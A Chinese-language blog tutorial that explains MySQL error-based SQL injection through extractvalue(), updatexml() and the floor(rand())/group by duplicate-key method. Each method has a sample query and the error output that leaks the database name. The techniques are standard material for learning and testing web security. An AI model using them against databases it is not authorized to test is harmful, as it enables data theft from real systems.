简介

前段时间一直在更新sql-lab通关题解。无奈被黑客攻击删除了数据库,由于没有备份导致相关的那部分的数据丢失。也不计划重新更新了,但是特别写一篇博客记录下学习到的重要技术----MySQL报错注入。MySQL报错注入的方式有很多种,随着MySQL版本更新,官方也修复了部分bug。

详解

extractvalue()报错

extractvalue(xml_document, Xpath_string)
作用:从目标xml中返回包含所查询值的字符串
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。
例子:

select extractvalue(1,concat('~',(select database()),'~'));

查询结果:
[SQL]select extractvalue(1,concat('~',(select database()),'~'));
[Err] 1105 - XPATH syntax error: '~testdb~'

#返回了数据库名(testdb)

updatexml()报错

updatexml(xml_document, xpath_string, new_value)
作用:改变文档中符合条件的节点的值
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据

和extractvalue()一样,第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。
例子:

select updatexml(1,concat('~',(select database()),'~'),1);

查询结果:
[SQL]select updatexml(1,concat('~',(select database()),'~'),1);
[Err] 1105 - XPATH syntax error: '~testdb~'

#返回了数据库名(testdb)

主键重复报错

主要用到concat()+rand()+floor()+group by。
rand(n) 随机返回一个在0-1之间的小数(为随机数),可以没有参数,伪随机数返回的并非完全随机,当参数相同会返回重复的数字(可以百度了解一下)。
floor() 向下取整。

这种报错方法的本质是因为floor(rand(0)*2)的重复性(只会返回0或1),导致group by语句出错。
group by key分组会先创建一个临时表,其中主键为key,然后循环读取数据的每一行。读取每一行的key时,如果key存在于临时表中,则更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

细致报错原理是如果将floor(rand(0)*2)作为key时,在读取每一行数据时floor(rand(0)2)会计算两次。第一次读取行数据会计算一次floor(rand(0)2)的值,然后与临时表中的key做对比。如果值不在临时表中,会向临时表中插入这条行数据,会第二次计算floor(rand(0)2)的值。因为floor(rand(0)2)计算的值有重复性,如果第一次计算的值不存在临时表中,第二次计算的值存在临时表中,就会报主键重复错误。因为存在随机性,当行数据较少时,会触发不了报错。

例子:

select count(*) from information_schema.tables group by concat(database(),floor(rand()*2));

查询结果:
[SQL]select count(*) from information_schema.tables group by concat(database(),floor(rand()*2));
[Err] 1062 - Duplicate entry 'testdb0' for key '<group_key>'

#返回了数据库名(testdb),有时不会报错,需要多执行几次
#rand()函数传参0,既rand(0),行数据有3条就会触发报错

select count(*) from testtable group by concat(database(),floor(rand(0)*2));

查询结果:
[SQL]select count(*) from testtable group by concat(database(),floor(rand(0)*2));
[Err] 1062 - Duplicate entry 'testdb1' for key '<group_key>'

结语

还有很多函数会触发报错注入,但是多数在新版本已经被官方修复,比如GeometryCollection()报错、multipoint()报错、linestring()报错等等。